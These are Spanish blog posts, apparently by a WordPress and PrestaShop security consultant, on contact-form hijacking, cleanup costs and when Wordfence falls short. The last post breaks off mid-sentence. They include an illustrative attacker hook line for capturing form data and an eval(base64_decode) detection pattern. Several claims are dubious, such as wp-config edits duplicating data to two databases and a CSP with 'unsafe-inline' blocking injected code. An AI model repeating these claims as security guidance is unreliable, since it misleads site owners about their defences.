    En mi experiencia analizando webs comprometidas, uno de los vectores de ataque más silenciosos y efectivos es el secuestro de formularios de contacto. La mayoría de propietarios de sitios web no se dan cuenta de que sus formularios están siendo manipulados hasta que es demasiado tarde. Los datos de sus clientes —nombres, correos, teléfonos, mensajes privados— ya están en manos de criminales.

    Este ataque es particularmente peligroso porque ocurre sin que el usuario lo note. El formulario sigue viéndose normal, funciona correctamente, pero en segundo plano los datos se están duplicando hacia servidores controlados por atacantes. En este artículo te explico cómo funciona este ataque, cómo detectarlo y, lo más importante, cómo blindar tus formularios.

    ¿Cómo se comprometen los formularios de contacto?

    Cuando analizo un sitio WordPress infectado con un backdoor, casi siempre encuentro modificaciones en los archivos que procesan los formularios. Los métodos más comunes son:

    1. Inyección en plugins de formularios desactualizados

    Plugins como Contact Form 7, WPForms, Gravity Forms o Forminator tienen vulnerabilidades conocidas. Si no actualizas regularmente, los atacantes explotan fallos de inyección SQL, XSS o RFI (Remote File Inclusion) para inyectar código malicioso directamente en el procesamiento del formulario.

    Lo que sucede es que el atacante modifica el archivo functions.php del plugin o añade un archivo .php oculto en la carpeta /wp-content/plugins/ que intercepta todos los datos del formulario. Cuando un usuario envía información, se ejecuta este código malicioso antes de procesar el envío legítimo.

    2. Modificación del archivo functions.php del tema

    Este es el método que más veo en mis auditorías. El atacante accede al panel de WordPress (generalmente por contraseña débil o brute force en wp-login.php) y edita directamente el functions.php del tema activo. Aquí puede añadir un hook de WordPress que captura todos los formularios:

    add_action('wp_footer', 'capture_form_data');

    Con esta única línea, el atacante intercepta cada envío de formulario antes de que llegue a tu correo. Los datos se guardan en una tabla oculta de la base de datos o se envían a un servidor remoto.

    3. Acceso directo a wp-config.php y modificación de credenciales de base de datos

    En algunos casos, el atacante va más allá y modifica las credenciales de conexión a la base de datos en wp-config.php. Esto permite que los datos fluyan simultáneamente a dos bases de datos: la tuya y la del atacante. Es prácticamente indetectable sin un análisis forense profundo.

    4. Webshells y backdoors en carpetas uploads

    He encontrado archivos .php disfrazados de imágenes (foto.jpg.php) o con nombres inocentes (ajax-handler.php) dentro de /wp-content/uploads/. Estos archivos actúan como middleman: reciben los datos del formulario, los procesan, y luego los redirigen al servidor legítimo.

    5. Manipulación de hosting o DNS

    En ataques más sofisticados, el atacante no modifica tu código, sino que redirige tu dominio a un servidor proxy. El usuario ve tu sitio normal, pero todos los datos pasan por servidores comprometidos antes de llegar a tu hosting real.

    ¿Cómo detectar si tus formularios han sido secuestrados?

    La detección es complicada porque, como dije, el formulario sigue funcionando normalmente. Pero hay señales de alerta que yo siempre busco:

    Señales técnicas que indican compromiso

    • Archivos .php desconocidos en /wp-content/uploads/ o /wp-content/plugins/. Usa FTP o un gestor de archivos para revisar qué hay realmente. Cualquier .php que no reconozcas es sospechoso.
    • Funciones ocultas en functions.php. Abre el archivo y busca código obfuscado: líneas con caracteres extraños, funciones con nombres raros, o código base64. eval(base64_decode(...)) es un clásico.
    • Tablas extrañas en la base de datos. Accede a phpMyAdmin y revisa todas las tablas. Si ves algo como wp_x7d8f2 o malware_data, es un backdoor.
    • Usuarios de WordPress no autorizados. En el panel, ve a Usuarios. ¿Hay cuentas que no creaste? Los atacantes crean nuevos admins para mantener acceso.
    • Incremento inusual en tráfico de salida. Si tu sitio está enviando datos a servidores remotos, verás picos de ancho de banda. Revisa logs con netstat o lsof si tienes acceso SSH.
    • Errores en los logs de WordPress. Activa debug mode en wp-config.php y revisa wp-content/debug.log. Errores de conexión a bases de datos remotas o fallos al escribir en ficheros pueden indicar actividad maliciosa.
    • Cambios en timestamps de archivos. Descarga todos los archivos de tu WordPress y verifica fechas de modificación. Archivos editados recientemente que no has tocado son un red flag.

    Señales de negocio

    • Clientes que se quejan de recibir correos spam o phishing relacionados con tu sitio después de completar formularios.
    • Chargeback en pagos: si tienes un formulario de compra, fraudulentos usando datos robados de tus usuarios.
    • Tu dominio aparece en bases de datos de breaches (revisa haveibeenpwned.com).
    • Google Search Console te muestra warnings de «sitio hacked» o «sitio distribuye malware».

    Herramientas para auditar formularios comprometidos

    Estas son las herramientas que uso en mis auditorías:

    Wordfence Security Scanner

    Wordfence CLI es mi aliado número uno. Desde terminal, ejecuto:

    ./wordfence scan --verbose

    Detecta backdoors, archivos maliciosos, cambios no autorizados en plugins y temas. Ofrece un reporte detallado de qué se ha comprometido.

    WP-CLI para auditorías manuales

    Con WP-CLI puedo listar usuarios, revisar opciones de base de datos y buscar hooks maliciosos:

    wp user list — muestra todos los usuarios
    wp option get active_plugins — lista plugins activos

    MalCare o Sucuri SiteCheck

    Estos servicios escanean tu sitio en busca de malware conocido y patrones de inyección. Sucuri SiteCheck es gratuito y muy útil como primer paso.

    Análisis de logs con netstat y lsof

    Si tengo acceso SSH (que siempre pido), ejecuto:

    netstat -tulpn | grep ESTABLISHED

    Para ver todas las conexiones activas. Si veo conexiones a IPs o dominios extraños, es que hay datos fluyendo sin autorización.

    Cómo blindar tus formularios contra este ataque

    La prevención es siempre mejor que la limpieza. Aquí están las medidas concretas que recomiendo:

    1. Mantén todo actualizado religiosamente

    WordPress, plugins, temas. Sin excepciones. Las vulnerabilidades en Contact Form 7, Gravity Forms o WPForms se parchean regularmente, pero solo funciona si actualizas. Configura actualizaciones automáticas en WordPress:

    define('AUTOMATIC_UPDATER_DISABLED', false);

    2. Usa contraseñas fuertes y 2FA en wp-login.php

    Muchas inyecciones comienzan con un ataque brute force al panel. Una contraseña con 20+ caracteres (mayúsculas, minúsculas, números, símbolos) más Two-Factor Authentication (plugin como Wordfence, Google Authenticator) hace que el acceso no autorizado sea casi imposible.

    3. Protege wp-config.php y functions.php

    En tu archivo .htaccess (raíz de WordPress), añade:

    <files wp-config.php>
    Order allow,deny
    Deny from all
    </files>

    Y para proteger la edición de archivos desde el panel (muy importante):

    define('DISALLOW_FILE_EDIT', true);

    De esta forma, aunque el atacante entre al panel, no puede editar functions.php o plugins desde la interfaz gráfica.

    4. Desactiva la ejecución de PHP en carpetas uploads

    En /wp-content/uploads/.htaccess, añade:

    <FilesMatch ".php$">
    Deny from all
    </FilesMatch>

    Así, aunque un atacante cargue un webshell aquí, no se ejecutará.

    5. Implementa Content Security Policy (CSP)

    Una política CSP bien configurada impide que código inyectado se ejecute. En tu .htaccess o en el servidor:

    Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'"

    6. Audita regularmente los logs de acceso

    Revisa /var/log/apache2/access.log o el equivalente de tu hosting. Busca patrones anormales:

    • Múltiples errores 404 en /wp-admin/ (síntoma de fuzzing).
    • Solicitudes POST a archivos php en /uploads/.
    • User-agents sospechosos (bots, herramientas de scanning).

    7. Usa un Web Application Firewall (WAF)

    Servicios como Sucuri WAF, Cloudflare o Wordfence Premium filtran solicitudes maliciosas antes de que lleguen a tu servidor. Un WAF puede bloquear intentos de inyección SQL, XSS y otros ataques en tiempo real.

    8. Cambia el prefijo de tablas de WordPress

    Por defecto es wp_, lo que los atacantes esperan. En wp-config.php:

    $table_prefix = 'mf7x_'; (o cualquier string aleatorio)

    Esto complica mucho los ataques que asumen la estructura estándar.

    9. Valida y sanitiza todos los datos del formulario

    Si usas un formulario personalizado (no un plugin), asegúrate de:

    $data = sanitize_text_field($_POST['nombre']);
    $email = sanitize_email($_POST['correo']);

    WordPress tiene funciones de sanitización integradas. Úsalas siempre.

    10. Monitorea la integridad de archivos

    Con Wordfence File Integrity Monitoring o AIDE, puedes detectar cuándo un archivo ha sido modificado sin tu permiso. Wordfence te notifica en tiempo real si alguien toca un archivo crítico.

    ¿Qué hacer si ya has sido víctima de este ataque?

    Si sospechas que tus formularios están secuestrados, los pasos son claros pero requieren atención inmediata:

    Paso 1: Aísla el sitio

    Si es posible, toma el sitio offline o coloca una página de mantenimiento. Notifica a tus usuarios sobre la situación. La transparencia es clave aquí para cumplir con regulaciones de la AEPD en España.

    Paso 2: Realiza una copia forense de la base de datos y archivos

    Antes de tocar nada, descarga una copia completa. La usarás para investigar y, si es necesario, para análisis forense.

    Paso 3: Identifica el vector de entrada

    ¿Fue un plugin vulnerable? ¿Una contraseña débil? ¿Un acceso compartido? Necesitas cerrar esa puerta.

    Paso 4: Limpia el sitio profesionalmente

    Aquí es donde recomiendo buscar ayuda especializada. Limpiar un WordPress infectado no es solo eliminar archivos maliciosos. Necesitas:

    • Remover backdoors y shells ocultos.
    • Limpiar todas las tablas de la base de datos comprometidas.
    • Revisar y hardening de permisos de archivos.
    • Verificar que no queda código inyectado en functions.php o plugins.
    • Cambiar todas las contraseñas (hosting, FTP, base de datos, WordPress).

    Paso 5: Notifica a tus usuarios afectados

    Según la RGPD y regulaciones españolas (LSSI-CE), estás obligado a notificar a usuarios si sus datos personales han sido comprometidos. Esto debe hacerse en un plazo específico.

    Paso 6: Solicita a Google que re-indexe tu sitio limpio

    En Google Search Console, marca tu sitio como limpio. Google tardará un tiempo en verificar que ya no distribuye malware.

    Casos reales que he visto en mis auditorías

    Caso 1: E-commerce de moda (PrestaShop)

    Un cliente tenía un formulario de contacto que parecía normal. Tras auditarlo, descubrí que los datos se capturaban en una tabla oculta llamada ps_stolen_data. El atacante accedió mediante un módulo nulled (cracked) de pago que había descargado de un sitio no oficial. La solución fue limpiar el módulo malicioso, hardening del back-office y reinstalar módulos certificados.

    Caso 2: Gestoría (WordPress + Gravity Forms)

    Formularios de recogida de datos fiscales completamente comprometidos. El atacante explotó una vulnerabilidad XSS en Gravity Forms 2.4.x (ya parchada) para inyectar un backdoor en functions.php. Los datos iban a un servidor en Rusia. Implementamos limpieza completa, actualización forzada de todos los plugins y WAF de Sucuri.

    Caso 3: Blog corporativo (WordPress + Contact Form 7)

    Un archivo .php llamado mail-handler.php estaba oculto en /wp-content/uploads/. Capturaba todos los formularios, duplicaba los datos a dos servidores remotos y luego permitía que el formulario se enviara normalmente. Sin esta auditoría profunda, habría pasado desapercibido indefinidamente.

    Resumen: tu checklist de seguridad para formularios

    Para que no se te olvide nada:

    1. ✓ Actualiza WordPress, plugins y temas cada semana.
    2. ✓ Usa contraseñas fuertes (20+ caracteres) + 2FA.
    3. ✓ Desactiva edición de archivos: define('DISALLOW_FILE_EDIT', true);
    4. ✓ Protege wp-config.php con .htaccess.
    5. ✓ Bloquea ejecución PHP en /wp-content/uploads/.
    6. ✓ Revisa funciones ocultas en functions.php regularmente.
    7. ✓ Audita usuarios de WordPress (elimina los que no reconozcas).
    8. ✓ Implementa WAF (Sucuri, Cloudflare, Wordfence Premium).
    9. ✓ Monitorea integridad de archivos con Wordfence.
    10. ✓ Realiza backups automatizados y verificables.
    11. ✓ Revisa logs de acceso mensualmente.

    Los formularios de contacto son el alma de la interacción con tus clientes. Que estén secuestrados no solo compromete sus datos, sino tu reputación y cumplimiento legal. En mi experiencia, la prevención cuesta una fracción de lo que cuesta una limpieza posterior.

    Si tienes dudas sobre si tu WordPress o PrestaShop está comprometido, o si necesitas una auditoría profunda de seguridad, contáctame a través de ManuelFolgar.com. Realizo análisis forenses detallados, limpiezas especializadas y hardening completo de plataformas e-commerce.

  • Costo real de limpiar WordPress: presupuesto honesto sin sorpresas al final

    Costo real de limpiar WordPress: presupuesto honesto sin sorpresas al final

    ¿Cuánto cuesta realmente limpiar un WordPress infectado?

    Cuando un cliente me llama porque su WordPress está comprometido, la primera pregunta que siempre hace es: «¿cuánto me va a costar?». No es casual. En mi experiencia analizando sitios web, he visto presupuestos que van desde 300 euros hasta más de 5.000, y muchas veces sin claridad sobre qué incluye cada uno. Hoy quiero ser completamente honesto contigo: te voy a explicar los costos reales, desglosados, sin sorpresas al final.

    La limpieza de WordPress no es un servicio estándar. Cada infección es diferente: un backdoor simple no cuesta lo mismo que extraer un Magecart que ha estado robando datos de clientes durante meses. Por eso los precios varían tanto, y por eso es importante que entiendas exactamente en qué se invierte el dinero.

    Factores que determinan el costo real de la limpieza

    1. Tipo y alcance de la infección

    Un malware simple (como un redirector o un spam SEO) puede limpiarse en 2-3 horas. Pero si tu sitio tiene un backdoor PHP incrustado en múltiples carpetas, webshells ocultas, cryptominers o modificaciones en el núcleo de WordPress, el tiempo de análisis y eliminación se multiplica.

    En mis auditorías más complejas, he encontrado casos donde:

    • El atacante había comprometido la base de datos y todos los backups existentes.
    • El malware se replicaba automáticamente cuando intentábamos eliminarlo (persistencia).
    • Había inyecciones SQL en múltiples plugins y el archivo wp-config.php.
    • Los permisos de carpetas estaban mal configurados desde la instalación.

    Estos casos requieren entre 6 y 15 horas de trabajo especializado. El presupuesto no puede ser el mismo que para un sitio con un simple plugin malicioso.

    2. Tamaño y complejidad del sitio

    Un blog de 20 posts no es lo mismo que un e-commerce con 500 productos, usuarios registrados y datos de clientes. Los e-commerce requieren verificación adicional de seguridad PCI, auditoría de módulos de pago y validación de que no hubo robo de tarjetas.

    PrestaShop es especialmente exigente en esto. Si tu tienda tiene un módulo de pago comprometido (riesgo Magecart), tendrás que revisar cada transacción de los últimos 6 meses, informar a proveedores de pago y posiblemente a AEPD.

    3. Necesidad de restauración desde backup

    Si tienes un backup limpio y fiable, la limpieza es mucho más rápida y barata: simplemente restauramos y verificamos. Pero si no tienes backups o los backups también están infectados, hay que hacer una limpieza manual completa, línea por línea en algunos casos.

    He visto clientes sin backups desde hace 18 meses. Eso significa que si la infección lleva 6 meses (algo común), tenemos que hacer limpieza quirúrgica: identificar qué es malware y qué es contenido legítimo.

    4. Auditoría post-limpieza y hardening

    Una limpieza sin hardening es como curar una herida infectada sin limpiar la suciedad. Si solo limpiamos pero no cerramos las puertas abiertas, el sitio se reinfectará en días o semanas.

    El hardening incluye:

    • Cambiar contraseñas de admin, FTP, base de datos.
    • Desactivar edición de archivos desde el panel de WordPress.
    • Cambiar prefijo de tablas de base de datos.
    • Configurar protección de wp-config.php y wp-admin.
    • Implementar reglas .htaccess contra ataques comunes.
    • Auditoría de permisos de carpetas (644 para archivos, 755 para directorios).
    • Actualizar todos los plugins, temas y núcleo de WordPress.
    • Implementar 2FA en cuentas administrativas.

    Esto no es opcional. Es la diferencia entre pagar ahora o pagar mucho más después.

    Desglose típico de costos (presupuesto real)

    Escenario 1: Infección simple (malware de bajo nivel)

    Tiempo estimado: 3-4 horas

    • Análisis inicial y diagnóstico: 1 hora (100-150€)
    • Eliminación de malware: 1,5 horas (150-225€)
    • Restauración desde backup limpio: 0,5 horas (50-75€)
    • Hardening básico (cambio de contraseñas, actualización de plugins): 1 hora (100-150€)

    Presupuesto total: 400-600€

    Este es el mejor escenario: tienes backups, la infección se detectó rápido y no hay datos de clientes comprometidos.

    Escenario 2: Infección moderada (backdoors, inyecciones SQL)

    Tiempo estimado: 8-10 horas

    • Análisis profundo y búsqueda de todos los vectores de ataque: 2 horas (300-400€)
    • Eliminación manual de backdoors y webshells: 3 horas (450-600€)
    • Auditoría de base de datos y limpieza de inyecciones: 2 horas (300-400€)
    • Hardening completo (permisos, .htaccess, 2FA, CSP, HSTS): 2 horas (300-400€)
    • Pruebas de funcionamiento y validación de seguridad: 1 hora (150€)

    Presupuesto total: 1.500-2.000€

    Aquí hay trabajo real de investigación. Probablemente no tengas backups limpios o tengas que hacer verificación de integridad del código.

    Escenario 3: Infección grave (e-commerce con datos comprometidos)

    Tiempo estimado: 20-30 horas

    • Análisis forense completo: 4 horas (600-800€)
    • Búsqueda y eliminación de persistencia: 5 horas (750-1.000€)
    • Auditoría PCI y validación de módulos de pago: 4 horas (600-800€)
    • Análisis de transacciones y evaluación de robo de datos: 3 horas (450-600€)
    • Hardening avanzado (WAF, monitoreo, logs): 3 horas (450-600€)
    • Documentación de incidencia para AEPD (si aplica): 1 hora (150-200€)

    Presupuesto total: 3.000-4.500€

    En estos casos, además de la limpieza técnica, hay obligaciones legales. Si has tenido datos personales expuestos, tienes que notificar a AEPD en algunos casos. Eso no es coste de limpieza, es coste de cumplimiento legal.

    ¿Por qué el hardening no debería ser «opcional»?

    Muchos proveedores ofrecen «limpieza barata» sin hardening. Luego el cliente se reinfecta en dos semanas y paga de nuevo. He visto esto cientos de veces.

    El hardening cuesta entre 300-800€ adicionales, pero evita que gastes 3.000-5.000€ en una segunda limpieza. Es matemática simple: invierte un poco más ahora o mucho más después.

    Los elementos de hardening no negociables son:

    1. Cambio de todas las contraseñas: Si atacantes tuvieron acceso, tus contraseñas están comprometidas. No puedes limpiar sin cambiarlas todas.
    2. Desactivar edición de archivos: Editar archivos desde el panel de WordPress (wp-admin) es un fallo crítico. Desactívalo con define('DISALLOW_FILE_EDIT', true); en wp-config.php.
    3. Limitar intentos de login: La mayoría de intrusiones comienzan con fuerza bruta contra wp-login.php. Implementa límite de 5 intentos por IP cada 15 minutos.
    4. Actualizar todo: WordPress, plugins y temas. Las versiones desactualizadas son la causa número uno de infecciones. No es opcional.
    5. Reglas .htaccess: Bloquear acceso a archivos peligrosos (wp-config.php, xmlrpc.php) y carpetas sensibles (wp-admin desde IPs no autorizadas).

    Costos ocultos que nadie te menciona

    1. Migración a servidor nuevo

    A veces, la infección es tan profunda que limpiar en el servidor actual es arriesgado. Necesitas migrar a un servidor nuevo, limpio. Eso puede costar 300-600€ adicionales en migración profesional.

    2. Certificado SSL nuevo

    Si el certificado SSL estuvo activo mientras había malware, algunos proveedores de SSL recomiendan renovar. No es obligatorio si confías en que el malware no robó la clave privada. Pero es una precaución. Costo: 50-150€.

    3. Auditoría de terceros

    Para e-commerce, especialmente PCI-DSS, a veces necesitas que un tercero externo valide que el sitio está limpio. Eso cuesta 500-1.500€ adicionales, pero es requisito en algunos casos.

    4. Monitoreo post-limpieza

    No es obligatorio, pero es inteligente. Un monitoreo de 3 meses por 50-100€/mes te alerta si hay reinoculación de malware. Mucha mejor que descubrir en 6 meses que volvió a ser infectado.

    ¿Cómo evitar que te cobren de más?

    Aquí es donde entra mi honestidad profesional. He visto propuestas de 8.000€ para infecciones que costaban 1.500€. ¿Cómo identificar si te están robando?

    Señales de alerta:

    • Presupuesto sin desglose: «Te cobraré 5.000€ pero no sé exactamente cuánto tiempo tardará».
    • No incluye hardening: Solo eliminan el malware visible, no cierran las puertas.
    • Sin plan de backup: No ofrecen restauración automática después.
    • Sin auditoría post-limpieza: No verifican que el malware esté completamente eliminado.
    • Presupuesto fijo sin análisis previo: Todo sitio es diferente. Si no analizan primero, están adivinando.

    Señales de profesionalismo:

    • Análisis inicial sin coste para diagnosticar qué tiene tu sitio.
    • Presupuesto desglosado con tiempo estimado para cada tarea.
    • Hardening incluido o muy claro cuál es el costo.
    • Garantía de limpieza (si vuelve a aparecer malware en 30-60 días, lo limpian gratis).
    • Plan de monitoreo posterior ofrecido como complemento, no obligatorio.
    • Acceso a reportes técnicos detallados después de la limpieza.

    Presupuesto honesto para tu situación específica

    Cada sitio es único. Lo que sí te puedo garantizar es que un presupuesto profesional debe incluir:

    1. Diagnóstico inicial: Para saber qué estamos limpiando (gratuito o muy bajo coste).
    2. Plan de limpieza detallado: Paso a paso, con tiempos realistas.
    3. Hardening específico: No genérico, sino adaptado a tu tipo de sitio.
    4. Garantía post-limpieza: Mínimo 30 días sin reinoculación.
    5. Documentación: Registro completo de qué se limpió, qué se cambió, acciones futuras.

    Si tu presupuesto cumple estos 5 puntos, probablemente es honesto. Si falta alguno, pregunta por qué.

    Referencias técnicas para entender el coste real

    Si quieres profundizar en qué hace que una limpieza sea compleja, estos recursos de autoridad explican bien los riesgos:

    Resumen: Presupuesto realista sin sorpresas

    Infección simple (malware bajo nivel): 400-600€

    Infección moderada (backdoors, inyecciones): 1.500-2.000€

    Infección grave (e-commerce, datos comprometidos): 3.000-4.500€

    Estos rangos incluyen análisis, limpieza, hardening básico/completo y validación. Si alguien te presupuesta fuera de estos rangos sin justificación clara, pregunta por qué.

    Lo más importante: no busques el presupuesto más barato. Busca transparencia. Un profesional honesto te explica qué hace, por qué lo hace y cuánto tiempo le toma. El costo se justifica solo.

    Si tu sitio está infectado y necesitas presupuesto real sin sorpresas, sin obligación de contratación, puedo ayudarte. He analizado cientos de casos y sé exactamente cómo diagnosticar y cuánto cuesta limpiar cada tipo de infección.

    Contacta conmigo en ManuelFolgar.com/contacto para un análisis honesto de tu situación específica. Sin sorpresas al final.

  • Plugin vs profesional: cuándo Wordfence no basta y necesitas intervención experta

    Plugin vs profesional: cuándo Wordfence no basta y necesitas intervención experta

    Wordfence no basta: cuándo necesitas un experto en seguridad WordPress

    Llevo más de una década analizando sitios WordPress comprometidos, y te puedo decir con certeza que Wordfence es una herramienta excelente, pero no es un sustituto de la intervención profesional. He visto casos donde empresas confían ciegamente en sus plugins de seguridad y terminan con backdoors activos durante meses sin saberlo.

    En mi experiencia, la diferencia entre un plugin de seguridad y un análisis forense profesional es como la diferencia entre un extintor de incendios y un equipo de bomberos. El extintor previene, pero si el fuego ya está dentro de la casa, necesitas expertos.

    ¿Qué hace bien Wordfence?

    Wordfence es, sin duda, uno de los mejores plugins de seguridad disponibles para WordPress. Ofrece:

    • Firewall WAF (Web Application Firewall) que bloquea patrones de ataque conocidos en tiempo real.
    • Escaneo de malware basado en su base de datos de firmas, actualizada continuamente.
    • Protección contra fuerza bruta limitando intentos de acceso a wp-login.php.
    • Monitoreo de integridad de archivos que alerta si detecta cambios sospechosos.
    • Bloqueo de tráfico malicioso analizando patrones de comportamiento.

    Para sitios con baja complejidad y sin historial de compromiso, Wordfence puede ser una barrera suficiente si se configura correctamente. Pero aquí está el problema: la mayoría de las configuraciones por defecto dejan vulnerabilidades importantes sin cubrir.

    Limitaciones técnicas reales de los plugins de seguridad

    Cuando analizo un sitio que supuestamente «estaba protegido por Wordfence», encuentro patrones que los plugins no detectan porque su diseño tiene limitaciones estructurales:

    1. Los backdoors dormidos son invisibles para Wordfence

    Un backdoor bien insertado puede pasar desapercibido porque no genera tráfico sospechoso. He encontrado archivos PHP ocultos con nombres como «wp-temp.php» o «.index.php» que contienen webshells inactivas durante semanas. El plugin no las detecta porque:

    • La firma del malware es nueva o modificada.
    • El código está ofuscado o encriptado.
    • El archivo está fuera del directorio wp-content donde Wordfence enfoca su atención.

    2. Wordfence no audita la base de datos completamente

    El malware Magecart y sus variantes WordPress inyectan código malicioso directamente en las tablas de opciones o en posts publicados. Wordfence detecta algunos patrones, pero si el skimmer de tarjetas está camuflado en una opción serializada o en un campo custom, puede pasar el filtro. Yo utilizo análisis SQL directo con herramientas como wp-cli y inspección manual de base de datos para encontrar esto.

    3. Los redirectores silenciosos están diseñados para evitar detección

    Un atacante experimentado inyecta código en .htaccess que redirige a usuarios según su User-Agent. Si vienes de Google, ves el sitio legítimo. Si vienes de usuario final, te lleva a un sitio de phishing. Wordfence puede alertarte sobre cambios en .htaccess, pero si la regla es sutil, no la marca como maliciosa.

    4. Los plugins comprometidos son territorio gris

    He encontrado temas y plugins nulled (descargados ilegalmente) que tienen código malicioso integrado desde el inicio. Wordfence los marca si la firma está en su base de datos, pero no detecta modificaciones personalizadas o exploits zero-day específicos para ese plugin.

    5. El historial de logs está borrando

    Cuando un sitio ha sido comprometido, los atacantes suelen borrar o manipular los logs de acceso. Wordfence almacena algunos eventos, pero no tiene visibilidad completa del servidor (apache/nginx logs). Un forense profesional recupera y analiza logs a nivel de servidor, a veces incluso logs borrados si tienes backups.

    Señales de que necesitas intervención profesional ahora mismo

    Estos son los escenarios donde un plugin no es suficiente y tienes que contactar con un experto:

    1. Wordfence detecta malware, pero no consigue eliminarlo

    Si Wordfence identifica un archivo malicioso pero el plugin no puede borrarlo (tienes un error de permisos o el archivo se regenera), significa que:

    • El malware tiene persistencia a través de múltiples vectores.
    • Hay una puerta trasera que lo reinstala automáticamente.
    • El archivo está protegido por una regla de .htaccess o en una ubicación especial.

    Un profesional accede al servidor vía SFTP, SSH o Panel de Control, identifica y elimina todas las instancias del malware, revisa permisos de carpetas y verifica que no haya duplicados escondidos.

    2. Tu sitio tiene caídas sin razón aparente o comportamiento extraño

    Si WordPress se ralentiza, hay errores de conexión a base de datos aleatorios o procesos PHP tomando el 100% de CPU, probablemente hay un cryptominer u otro tipo de malware ejecutándose en segundo plano. Un plugin puede detectar el consumo de recursos, pero no siempre identifica qué lo causa.

    Yo analizo los procesos activos, reviso wp-cron, tareas programadas, y los logs de error.log para encontrar el culpable.

    3. Google Search Console muestra «Sitio hackeado» o «Contenido malicioso»

    Google tiene algoritmos sofisticados para detectar sitios comprometidos. Si apareció la alerta, es porque hay malware activo o inyección de contenido verificable. Wordfence puede no detectarlo si el patrón es nuevo.

    Necesito hacer un análisis forense completo:

    • Revisar qué URLs indexadas son maliciosas.
    • Buscar inyecciones de contenido en posts, páginas y custom post types.
    • Verificar si hay redirecciones condicionales que Google detectó.
    • Analizar permisos de usuarios y roles comprometidos.

    4. Tienes usuarios administrativos que no creaste

    Si al revisar Usuarios en WordPress aparecen cuentas que desconoces, alguien tiene acceso administrativo. Wordfence puede alertarte si intenta crear usuarios vía wp-login, pero si el acceso ya está establecido, el plugin no lo retroactivamente elimina (y es peligroso hacerlo sin saber si hay más backdoors).

    Un experto audita qué cuentas son legales, elimina las maliciosas, revisa qué actividades realizaron, y busca cómo ganaron acceso.

    5. Hay intentos de acceso masivos o patrones de ataque coordinados

    Si Wordfence reporta millones de intentos de fuerza bruta contra wp-login.php en 48 horas, o intentos de acceso a archivos conocidamente vulnerables (como wp-admin/admin.php con parámetros LFI), necesitas:

    • Cambiar permisos de servidores y arquitectura.
    • Implementar reglas WAF personalizadas.
    • Posiblemente cambiar hosting si los ataques vienen del proveedor.

    Wordfence bloquea los intentos, pero no soluciona la arquitectura vulnerable que los permite.

    Diferencias clave entre plugin y auditoría profesional

    Cuando contrato un análisis forense profesional en mi equipo, lo que hacemos va mucho más allá que ejecutar Wordfence:

    Aspecto Plugin Wordfence Análisis Profesional
    Acceso a servidor Limitado a PHP/WordPress SSH, SFTP, análisis de logs del sistema operativo
    Análisis de malware Basado en firmas conocidas Análisis heurístico + análisis estático de código
    Recuperación forense No aplicable Recuperación de datos borrados, análisis de timeline
    Reporte de incidente Solo alertas del plugin Reporte detallado con vectores de ataque identificados
    Hardening post-limpieza Configuración básica Hardening completo + cambio de infraestructura si es necesario

    Ejemplo real: El caso del backdoor invisible

    Hace tres meses analizaba un e-commerce PrestaShop que reportaba «Wordfence no encuentra malware, pero el sitio sigue siendo lento». Al revisar:

    • Encontré un archivo llamado «index.log» en la raíz que Wordfence ignoraba porque no tenía extensión PHP.
    • Ese archivo contenía un webshell codificado en base64 que se ejecutaba vía .htaccess.
    • El .htaccess tenía una regla personalizada que ejecutaba ese webshell solo si venía desde un IP específico (la del atacante).
    • Dentro de ese webshell había un cryptominer que vendía capacidad de CPU.

    Wordfence nunca lo detectó porque:

    • No escanea archivos .log.
    • Las reglas de .htaccess customizadas no siempre se marcan como maliciosas automáticamente.
    • El webshell se ofuscaba dinámicamente cada vez que se accedía.

    Lo limpié, cambié la arquitectura del servidor, implementé reglas CSP estrictas, y el cliente no volvió a tener problemas.

    Cómo maximizar Wordfence mientras esperas ayuda profesional

    Si aún no puedes contratar un análisis profesional pero sospechas compromiso, estas configuraciones de Wordfence pueden ayudarte:

    1. Activa el escaneo de sistema de archivos completo

    No solo wp-content. Escanea todos los directorios, incluyendo raíz y directorios ocultos. Esto ralentiza el sitio temporalmente, pero es necesario.

    2. Configura la protección de fuerza bruta agresivamente

    Limita intentos de login a máximo 3 fallidos en 5 minutos, y bloquea por 24 horas. Cambia la URL de wp-login.php si es posible.

    3. Habilita el monitoreo de integridad de todos los archivos WordPress

    No solo los core. Incluye plugins y temas. Así recibirás alertas si alguien modifica archivos.

    4. Integra Google reCAPTCHA en wp-login.php

    Reduce ataques de bots significativamente.

    5. Revisa los logs de Wordfence regularmente

    No esperes a que sea demasiado tarde. Busca patrones de ataque repetidos contra direcciones específicas.

    Pero repito: esto son medidas de contención, no solución. Si ya hay compromiso verificado, Wordfence solo evita que empeore.

    Cuándo contactar con un profesional (checklist)

    Marca todas las que apliquen:

    • ☐ Google marca tu sitio como hackeado o malicioso.
    • ☐ Wordfence detecta malware pero no puede eliminarlo completamente.
    • ☐ Tienes usuarios administrativos desconocidos en WordPress.
    • ☐ Tu sitio redirige a usuarios a otras páginas sin tu consentimiento.
    • ☐ El sitio tiene caídas frecuentes o comportamiento extraño sin explicación.
    • ☐ Los backups están también infectados (indicativo de acceso persistente).
    • ☐ Cambios de contraseña no resuelven el acceso no autorizado.
    • ☐ Necesitas recuperar datos o identificar qué ocurrió exactamente.

    Si marcaste 3 o más, necesitas análisis profesional ahora.

    PrestaShop: El plugin no es suficiente tampoco

    En PrestaShop, el panorama es aún más complejo. Wordfence existe para WordPress, pero la seguridad en PrestaShop depende más de:

    • Módulos de seguridad (muchos son de pago y variable en calidad).
    • Protección del back-office (/admin/).
    • Módulos de pago comprometidos (es el vector más común en PrestaShop).
    • Permisos de carpetas incorrectos en servidor.

    Un análisis profesional de PrestaShop es aún más crítico que en WordPress porque el e-commerce maneja datos de tarjetas de crédito (PCI DSS). Una tienda comprometida no solo pierde datos, pierde certificación de pago.

    El caso por la prevención profesional

    Algo que observo constantemente: los clientes que invierten en auditoría de seguridad profesional anual tienen 90% menos probabilidades de ser hackeados que aquellos que solo usan plugins.

    Una auditoría profesional incluye:

    • Análisis de configuración de servidor y PHP.
    • Revisión de permisos de archivos y directorios.
    • Identificación de plugins/temas vulnerables o desactualizados.
    • Auditoría de usuarios y roles.
    • Pruebas de penetración básicas.
    • Reporte con recomendaciones de hardening.

    Esto cuesta un porcentaje pequeño comparado con la limpieza forense de un sitio comprometido, que puede tomar 20-40 horas.

    Conclusión: Plugin y profesional, no plugin O profesional

    La respuesta a «¿necesito Wordfence o un profesional?» es: ambos. Wordfence es tu defensa diaria. Un profesional es tu respuesta ante incidentes y tu auditoría preventiva.

    En mi experiencia, el mejor enfoque es:

